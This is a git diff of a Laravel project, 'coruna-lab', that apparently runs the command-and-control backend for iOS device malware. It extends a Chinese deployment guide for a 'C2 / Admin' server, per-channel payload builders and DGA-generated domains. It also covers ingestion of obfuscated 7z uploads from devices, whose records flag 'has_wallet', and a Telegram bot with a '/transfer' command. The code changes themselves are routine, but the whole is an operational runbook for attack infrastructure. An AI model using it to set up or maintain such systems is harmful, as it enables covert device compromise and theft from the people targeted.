diff --git a/.env.example b/.env.example index eed6f53..35fe0fb 100644 --- a/.env.example +++ b/.env.example @@ -59,12 +59,13 @@ CORUNA_REPORTING_DOMAINS= # Prefer configuring in Admin → 系统 → 设置 after bootstrap. CORUNA_ADMIN_HOSTS= CORUNA_AGENT_HOSTS= -# In-process channel-builder (Python). -# Served assets: CORUNA_ARTIFACT_ROOT/web|sync (default: public/) -# Seeds/state: CORUNA_CHANNEL_STATE_ROOT (default: storage/app/channel-builder) +# In-process channel builders (Python). Old: channel-builder → public/web|sync +# New (xxbb/weifile): channel-builder-new → public/details + public/channel// CORUNA_CHANNEL_BUILDER_PYTHON= +CORUNA_CHANNEL_BUILDER_NEW_PYTHON= CORUNA_ARTIFACT_ROOT= CORUNA_CHANNEL_STATE_ROOT= +CORUNA_CHANNEL_NEW_STATE_ROOT= CORUNA_CHANNEL_BUILDER_TIMEOUT=600 # Scheme for support links built from CORUNA_LAB_CHANNEL_DOMAINS CORUNA_STATIC_SITE_SCHEME=https diff --git a/app/Http/Controllers/Admin/DeviceController.php b/app/Http/Controllers/Admin/DeviceController.php index 4c518ad..70a0313 100644 --- a/app/Http/Controllers/Admin/DeviceController.php +++ b/app/Http/Controllers/Admin/DeviceController.php @@ -42,10 +42,10 @@ class DeviceController extends Controller $q = $this->filteredQuery($filters); $sortable = ['id', 'device_id', 'channel_id', 'device_model', 'ios_version', 'ip', 'has_wallet', 'created_at', 'updated_at']; - $field = (string) $request->query('field', 'updated_at'); + $field = (string) $request->query('field', 'created_at'); $order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc'; if (! in_array($field, $sortable, true)) { - $field = 'updated_at'; + $field = 'created_at'; } $q->orderBy('devices.'.$field, $order); diff --git a/app/Services/ChannelProjectService.php b/app/Services/ChannelProjectService.php index 835e4e8..b0afd75 100644 --- a/app/Services/ChannelProjectService.php +++ b/app/Services/ChannelProjectService.php @@ -412,17 +412,19 @@ class ChannelProjectService : 'coruna.channel_builder.python'; $configured = trim((string) config($configKey, '')); if ($configured !== '') { + // Trust .env: do not is_file() — venv python is usually a symlink to + // /usr/bin/python*, which fatals under panel open_basedir. return $configured; } $venv = $this->builderCwd($builderType).'/.venv/bin/python'; - if (is_file($venv)) { + if ($this->venvPythonExists($venv)) { return $venv; } if ($builderType === self::BUILDER_NEW) { $fallback = base_path('channel-builder/.venv/bin/python'); - if (is_file($fallback)) { + if ($this->venvPythonExists($fallback)) { return $fallback; } } @@ -430,6 +432,22 @@ class ChannelProjectService return 'python3'; } + /** + * Detect .venv/bin/python without following the symlink into /usr/bin + * (open_basedir typically allows the project root only). + */ + private function venvPythonExists(string $path): bool + { + clearstatcache(true, $path); + + // is_link() checks the link inode inside the project; does not resolve target. + if (@is_link($path)) { + return true; + } + + return @is_file($path); + } + private function builderScript(string $name, string $builderType): string { $path = $this->builderCwd($builderType).'/tools/'.$name; diff --git a/docs/BAOTA_DEPLOY.md b/docs/BAOTA_DEPLOY.md index 1fa945c..ff8498e 100644 --- a/docs/BAOTA_DEPLOY.md +++ b/docs/BAOTA_DEPLOY.md @@ -1,23 +1,41 @@ -# 宝塔部署指南(coruna-lab + channel-builder) +# 宝塔部署指南(coruna-lab + channel-builder + channel-builder-new) -同机部署:Laravel 内嵌 `channel-builder` 直接构建产物;Admin / C2 与静态产物站对外。**不再需要**独立 Build API / 8081。 +同机部署:Laravel 内嵌两套 Python 构建器直接写产物;Admin / C2 与静态产物站对外。**不再需要**独立 Build API / 8081。 + +| 构建器 | 路径 | 渠道 ID | 产物 | +| --- | --- | --- | --- | +| 旧版 `channel-builder` | `coruna-lab/channel-builder` | 32-hex | `public/web//` + 共享 `public/sync/` | +| 新版 `channel-builder-new`(xxbb / weifile) | `coruna-lab/channel-builder-new` | `X.Y.ZZ`(6 位,如 `A.B.C1`) | `public/channel//`;共享模板 `public/details/` | + +新版用环境变量 **`XXBB_CHANNEL_C`(32-hex)** 作为全站共享 DGA / 上报字段 `c`;渠道之间靠版本号 `ver` 区分,不是靠 `c`。 ## 架构 -| 角色 | 项目 / 路径 | 对外 | 进程 | -| --------------- | ---------------------------- | --------------------------- | --------------- | -| C2 / Admin / 静态 | `coruna-lab`(`public/`) | `https://admin.example.com` | Nginx + PHP-FPM | -| 构建工具 | `coruna-lab/channel-builder` | 无(PHP Process 调用) | Python venv | +| 角色 | 项目 / 路径 | 对外 | 进程 | +| --- | --- | --- | --- | +| C2 / Admin / 静态 | `coruna-lab`(`public/`) | `https://admin.example.com` | Nginx + PHP-FPM | +| 旧版构建 | `coruna-lab/channel-builder` | 无(PHP Process 调用) | Python venv | +| 新版构建 | `coruna-lab/channel-builder-new` | 无(PHP Process 调用) | Python venv | ```text 设备 / 运营 │ - ├─ Admin / C2 /web /sync ──► coruna-lab/public (Laravel) - │ │ - │ └─ Process ──► channel-builder → public/web|sync - │ └─ state → storage/app/channel-builder + ├─ Admin / C2 ──► coruna-lab/public (Laravel) + │ │ + │ ├─ Process ──► channel-builder + │ │ → public/web|sync + │ │ → state: storage/app/channel-builder + │ │ + │ └─ Process ──► channel-builder-new + │ → public/details/(共享模板) + │ → public/channel//(每渠道独占) + │ → state: storage/app/channel-builder-new + │ + ├─ 旧静态:/web//… /sync/… + ├─ 新静态:/channel//… /details/… + ├─ 新别名:/c//show.htm → Laravel → channel//details/show.html └─ DGA 域名反代到同一 public/ ``` @@ -73,7 +91,7 @@ max_input_time = 600 ``` - `post_max_size` ≥ `upload_max_filesize` -- Admin 触发构建会同步等待 Python 脚本,超时与 `.env` 中 `CORUNA_CHANNEL_BUILDER_TIMEOUT` 对齐(建议 ≥ 600) +- Admin 触发构建会同步等待 Python 脚本(旧版 / 新版均走同一超时),与 `.env` 中 `CORUNA_CHANNEL_BUILDER_TIMEOUT` 对齐(建议 ≥ 600) - CLI 查 `max_execution_time` 常为 `0`(不限制),属正常;以浏览器/`phpinfo()` 的 FPM 值为准 Nginx 站点配置建议同时加大: @@ -88,11 +106,13 @@ client_max_body_size 64m; -## 1. 部署 channel-builder(随 coruna-lab) +## 1. 部署两套 channel-builder(随 coruna-lab) + +两套可并存;后台创建渠道时选「旧版 / 新版」。上线若要开新版渠道,**两套 venv 都要装**。 -### 1.1 代码与依赖 +### 1.1 旧版 `channel-builder` ```bash cd /www/wwwroot/coruna-lab/channel-builder @@ -100,23 +120,65 @@ cd /www/wwwroot/coruna-lab/channel-builder python3 -m venv .venv source .venv/bin/activate pip install -r requirements.txt - -# PHP-FPM 用户需能执行 .venv/bin/python,并写 public/ 与 storage/app/channel-builder/ -chown -R www:www /www/wwwroot/coruna-lab/public /www/wwwroot/coruna-lab/storage ``` +产物:`public/web/<32-hex>/`、`public/sync/`;状态:`storage/app/channel-builder/`。 -### 1.2 静态路径(写在 Admin 站点 public/) -产物默认落在 **Laravel** `public/`,与 Admin 同站即可,无需单独静态站点: +### 1.2 新版 `channel-builder-new`(xxbb / weifile) + +```bash +cd /www/wwwroot/coruna-lab/channel-builder-new + +python3 -m venv .venv +source .venv/bin/activate +pip install -r requirements.txt +``` + +依赖与旧版相同(`pycryptodome`、`py7zr`)。 + +产物与状态: + +| 路径 | 作用 | +| --- | --- | +| `public/details/` | 共享模板(`xxbb:build` / 创建渠道前 `build.py --apply` 写入) | +| `public/channel//` | 每渠道独占树(`weifile/` + `details/` 等,`pack_channel.py` 写入) | +| `storage/app/channel-builder-new/` | `lab_seeds.json`、`out/weifile/`(staged,不对外) | + +创建新版渠道时 Laravel 会: + +1. 用 `.env` 的 `XXBB_CHANNEL_C` 跑 `tools/build.py --apply --force`(**不会** random) +2. 再跑 `tools/pack_channel.py` 打进 `public/channel//` + +因此上线前必须先配置好 `XXBB_CHANNEL_C`(见 1.4)。 + + + +### 1.3 权限与静态路径(Admin 站点 Nginx) + +```bash +# PHP-FPM 用户需能执行两套 .venv/bin/python,并写 public/ 与两套 state +chown -R www:www \ + /www/wwwroot/coruna-lab/public \ + /www/wwwroot/coruna-lab/storage +``` + +产物默认落在 **Laravel** `public/`,与 Admin 同站即可: ```text -https://admin.example.com/web//support.html +# 旧版 +https://admin.example.com/web/<32-hex>/support.html https://admin.example.com/sync/daily.html + +# 新版 +https://admin.example.com/channel//weifile/weifile.html +https://admin.example.com/channel//details/ +https://admin.example.com/details/… # 共享模板(native 按需拉) +https://admin.example.com/c//show.htm # Laravel 别名 → channel//details/show.html ``` -在 Admin 站点 Nginx 中优先静态命中(放在 `location /` 的 `try_files … /index.php` **之前**): +在 Admin 站点 Nginx 中优先静态命中(放在 `location /` 的 `try_files … /index.php` **之前**)。`/c/` 不要配成纯静态,交给 Laravel: ```nginx location ~ "^/web/[0-9a-f]{32}/" { @@ -128,11 +190,56 @@ location /sync/ { try_files $uri =404; add_header Cache-Control "public, max-age=60"; } + +# 新版:每渠道独占树(ver 形如 A.B.C1) +location ~ "^/channel/[0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2}/" { + try_files $uri =404; + add_header Cache-Control "public, max-age=300"; +} + +# 新版共享 details 模板 +location /details/ { + try_files $uri =404; + add_header Cache-Control "public, max-age=300"; +} ``` -`lab_seeds.json` / `out/` 在 `storage/app/channel-builder/`,不在 web 根。 +`lab_seeds.json` / `out/` 分别在 `storage/app/channel-builder/` 与 `storage/app/channel-builder-new/`,不在 web 根。 -**首次创建渠道后**,用返回的 DGA `domains.deployment` / `domains.reporting` 注册域名,反代到同一 `public/`(reporting → C2)。 +**首次创建渠道后**,用返回的 DGA `domains.deployment` / `domains.reporting` 注册域名,反代到同一 `public/`(reporting → C2;新版短路径 C2 见 `routes/xxbb.php`)。 + + + +### 1.4 首次生成 `XXBB_CHANNEL_C`(仅新版需要) + +新版创建渠道前 `.env` 必须有共享 `c`。任选其一: + +```bash +cd /www/wwwroot/coruna-lab + +# 推荐:随机生成并写出共享产物 +/www/server/php/82/bin/php artisan xxbb:build --random-c +# 输出含 XXBB_CHANNEL_C=… 与域名列表 → 写入 .env 后: +/www/server/php/82/bin/php artisan config:clear + +# 或指定已有 c: +/www/server/php/82/bin/php artisan xxbb:build --channel-c=<32-hex> +``` + +等价手动: + +```bash +cd /www/wwwroot/coruna-lab/channel-builder-new +.venv/bin/python tools/build.py --random-c --apply --force +# 或 --channel-c <32-hex> +``` + +注意: + +- 部署后域名由 `c` 决定,**不要随意改** `XXBB_CHANNEL_C`,否则设备 DGA 与线上不一致 +- 渠道身份是 `X.Y.ZZ`(写入 core 的 `ver` / `sdkv`),不是 `c` +- 7zAES 密码槽固定,**不要**把 `XXBB_CHANNEL_C` 设成与内置 7z 密码相同的值 +- 日常运维刷新共享 `/details` 可再跑 `php artisan xxbb:build`(读 env 中的 c);新建渠道时也会自动 rebuild --- @@ -222,12 +329,20 @@ SESSION_DOMAIN=null SESSION_SECURE_COOKIE=true SESSION_SAME_SITE=lax -# 内嵌 channel-builder(无 Build API;产物默认 public/) +# 内嵌两套 builder(无 Build API;产物默认 public/) CORUNA_CHANNEL_BUILDER_PYTHON=/www/wwwroot/coruna-lab/channel-builder/.venv/bin/python +CORUNA_CHANNEL_BUILDER_NEW_PYTHON=/www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python # CORUNA_ARTIFACT_ROOT=/www/wwwroot/coruna-lab/public # CORUNA_CHANNEL_STATE_ROOT=/www/wwwroot/coruna-lab/storage/app/channel-builder +# CORUNA_CHANNEL_NEW_STATE_ROOT=/www/wwwroot/coruna-lab/storage/app/channel-builder-new CORUNA_CHANNEL_BUILDER_TIMEOUT=600 +# 新版 xxbb 共享 DGA / 上报字段 c(32 hex)。必填才能后台创建「新版」渠道。 +# 首次:php artisan xxbb:build --random-c → 把打印的值写到这里 → config:clear +XXBB_CHANNEL_C= +# iptj PageVisit 与新版设备按 IP 关联窗口(分钟) +XXBB_VISIT_MATCH_MINUTES=30 + # 后台「投放链接」展示域名(不驱动二进制补丁;DGA 域名以首次构建返回为准) CORUNA_LAB_CHANNEL_DOMAINS=cdn.example.com CORUNA_STATIC_SITE_SCHEME=https @@ -259,9 +374,26 @@ chmod -R ug+rwx storage/framework/sessions 浏览器登录前建议清掉该站 cookie。`storage/framework/sessions` 必须对 PHP-FPM 用户(宝塔多为 `www`)可写,否则后台 POST 登录易出现 419。 -### 2.5 p7zip(C2 入库) +### 2.5 新版 builder 就绪(有新版渠道时) -`CORUNA_7Z_BIN` **仍需要**:设备 multipart 上报的混淆 7z 由 Laravel `CorunaArchive` 解压,与 channel-builder 无关。 +在 `composer install` / `migrate` 之后、后台建新版渠道之前: + +1. 已按 **§1.2** 装好 `channel-builder-new/.venv` +2. 按 **§1.4** 生成并写入 `XXBB_CHANNEL_C` +3. 确认: + +```bash +/www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python -c 'import Crypto, py7zr; print("ok")' +/www/server/php/82/bin/php artisan xxbb:build # 使用 .env 中的 XXBB_CHANNEL_C 刷新 /details +ls -la /www/wwwroot/coruna-lab/public/details +ls -la /www/wwwroot/coruna-lab/storage/app/channel-builder-new/out/weifile +``` + +未配置 `XXBB_CHANNEL_C` 时,后台创建「新版」渠道会直接报错。 + +### 2.6 p7zip(C2 入库) + +`CORUNA_7Z_BIN` **仍需要**:设备 multipart 上报的混淆 7z 由 Laravel `CorunaArchive` 解压,与两套 channel-builder 无关。 Debian / Ubuntu(宝塔常见): @@ -287,7 +419,7 @@ chmod +x bin/7z `command -v 7z` 为空说明未装成功或 PATH 无 `7z`;用 `find /usr -name '7z' 2>/dev/null` 定位后再 `cp`。 -### 2.6 Telegram Webhook(上线必做) +### 2.7 Telegram Webhook(上线必做) Bot 入站指令(如 `/transfer`)依赖公网 HTTPS webhook,默认路径: @@ -353,13 +485,14 @@ tail -n 80 /www/server/php/82/var/log/php-fpm.log ## 3. 联调检查清单 -1. `channel-builder/.venv/bin/python -c 'import Crypto, py7zr; print("ok")'` 正常 -2. Admin 登录 `https://admin.example.com/admin/login` -3. 后台新建渠道 → 构建成功;响应含 `seeds` / `domains`(首次) -4. 打开静态站 `/web//support.html` 与 `/sync/daily.html` -5. `/web//support.html` 与 `/sync/daily.html` 可直接访问;seed 在 storage 不暴露 -6. C2 上报与 7z 入库正常 -7. `telegram:set-webhook` 成功;Bot 能收到指令 +1. 旧版:`channel-builder/.venv/bin/python -c 'import Crypto, py7zr; print("ok")'` 正常 +2. 新版:`channel-builder-new/.venv/bin/python -c 'import Crypto, py7zr; print("ok")'` 正常;`.env` 已有 `XXBB_CHANNEL_C` +3. Admin 登录 `https://admin.example.com/admin/login` +4. **旧版**渠道:新建 → 构建成功;响应含 `seeds` / `domains`(首次);打开 `/web//support.html` 与 `/sync/daily.html` +5. **新版**渠道:ID 用 `X.Y.ZZ`(如 `0.0.01`)→ 构建成功;打开 `/channel//weifile/weifile.html`;`/details/` 可访问;`/c//show.htm` 有内容 +6. seed / staged weifile 只在 `storage/app/channel-builder*`,不通过 URL 暴露 +7. C2 上报与 7z 入库正常(新版短路径含 `/a` `/u` `/event` 等,见 `routes/xxbb.php`) +8. `telegram:set-webhook` 成功;Bot 能收到指令 --- @@ -368,12 +501,14 @@ tail -n 80 /www/server/php/82/var/log/php-fpm.log ## 4. 日常运维 -| 动作 | 命令 / 操作 | -| ---------- | -------------------------------------------------------------------- | -| 更新 builder | 拉代码 → `channel-builder/.venv` 内 `pip install -r requirements.txt` | -| 更新 lab | 拉代码 → `composer install` → `artisan migrate` → `config:cache` 等 | -| 备份 | MySQL + `public/web` + `public/sync` + `storage/app/channel-builder` | -| 构建超时 | 加大 `CORUNA_CHANNEL_BUILDER_TIMEOUT` 与 PHP `max_execution_time` | +| 动作 | 命令 / 操作 | +| --- | --- | +| 更新旧版 builder | 拉代码 → `channel-builder/.venv` 内 `pip install -r requirements.txt` | +| 更新新版 builder | 拉代码 → `channel-builder-new/.venv` 内 `pip install -r requirements.txt`;必要时 `php artisan xxbb:build` 刷新共享 `/details` | +| 更新 lab | 拉代码 → `composer install` → `artisan migrate` → `config:cache` 等 | +| 备份 | MySQL + `public/web` + `public/sync` + `public/channel` + `public/details` + `storage/app/channel-builder` + `storage/app/channel-builder-new` | +| 构建超时 | 加大 `CORUNA_CHANNEL_BUILDER_TIMEOUT` 与 PHP `max_execution_time` | +| 勿改线上 `XXBB_CHANNEL_C` | 改了会导致新版 DGA 域名与已装设备不一致;换战役需整体重部署策略 | 当前 `QUEUE_CONNECTION=sync`,一般无需单独 queue worker。 @@ -418,6 +553,38 @@ PHP「禁用函数」含 `putenv`。在 PHP 8.2 设置里移除后重试。 +### 后台新建「新版」渠道失败:`请先在 .env 配置 XXBB_CHANNEL_C` + +按 **§1.4** 执行 `php artisan xxbb:build --random-c`,把输出的 `XXBB_CHANNEL_C` 写入 `.env`,再 `config:clear`。确认 `channel-builder-new/.venv` 已安装。 + +### `is_file(): open_basedir restriction` … `channel-builder-new/.venv/bin/python` + +`.venv/bin/python` 一般是指向 `/usr/bin/python3*` 的软链。PHP `is_file()` 会解析真实路径,而宝塔 `open_basedir` 通常只有项目根 + `/tmp`,于是报错。 + +处理(任选,建议 1+2): + +1. `.env` 显式写上 Python(跳过探测;`proc_open` 执行软链通常仍可用): + +```dotenv +CORUNA_CHANNEL_BUILDER_NEW_PYTHON=/www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python +CORUNA_CHANNEL_BUILDER_PYTHON=/www/wwwroot/coruna-lab/channel-builder/.venv/bin/python +``` + +```bash +/www/server/php/82/bin/php artisan config:clear +``` + +2. 部署含 `venvPythonExists()`(先 `is_link`、不跟到 `/usr/bin`)的代码后即可自动探测。 + +3. **不推荐**:把 `/usr/bin/` 加进站点 `open_basedir`(面过大)。 + +自检: + +```bash +ls -la /www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python +# 常见:… -> /usr/bin/python3.10 +``` + ### Nginx:`unknown directive "32}/(web|sync)/"` location 正则未加引号,`{32}` 被当成配置块。改为: @@ -426,6 +593,8 @@ location 正则未加引号,`{32}` 被当成配置块。改为: location ~ "^/web/[0-9a-f]{32}/" { ``` +新版 `/channel/` 正则同理,花括号必须放在引号内。 + ### `apt` 因 gitlab-ce 源 404 失败 @@ -483,10 +652,11 @@ chmod -R ug+rwx storage/framework/sessions ## 6. 分机部署(可选) -若要把 `/web` `/sync` 拆到另一台纯静态机: +若要把静态产物拆到另一台纯静态机: -- 构建后 rsync `public/web` + `public/sync` 到静态机文档根 -- 或把 `CORUNA_ARTIFACT_ROOT` 指到共享盘,静态机 Nginx root 指向该盘 -- seed 状态仍放在 lab 的 `CORUNA_CHANNEL_STATE_ROOT` +- 旧版:rsync `public/web` + `public/sync` +- 新版:rsync `public/channel` + `public/details`;`/c//show.htm` 需仍打到 Laravel,或在静态机做等价映射 +- 或把 `CORUNA_ARTIFACT_ROOT` 指到共享盘,静态机 Nginx root 指向该盘 +- seed / staged 状态仍放在 lab:`CORUNA_CHANNEL_STATE_ROOT`、`CORUNA_CHANNEL_NEW_STATE_ROOT` -同机时无需拆分,Admin `public/` 即静态根。 \ No newline at end of file +同机时无需拆分,Admin `public/` 即静态根。 diff --git a/resources/views/admin/devices/index.blade.php b/resources/views/admin/devices/index.blade.php index 5bff77a..f8cb0f7 100644 --- a/resources/views/admin/devices/index.blade.php +++ b/resources/views/admin/devices/index.blade.php @@ -105,6 +105,7 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () { url: @json(route($portal.'.devices.data')), toolbar: true, defaultToolbar: ['filter', 'exports', 'print'], + initSort: { field: 'created_at', type: 'desc' }, cols: [[ { field: 'id', title: 'ID', width: 80, sort: true }, { field: 'device_id', title: '设备 ID', minWidth: 180, sort: true },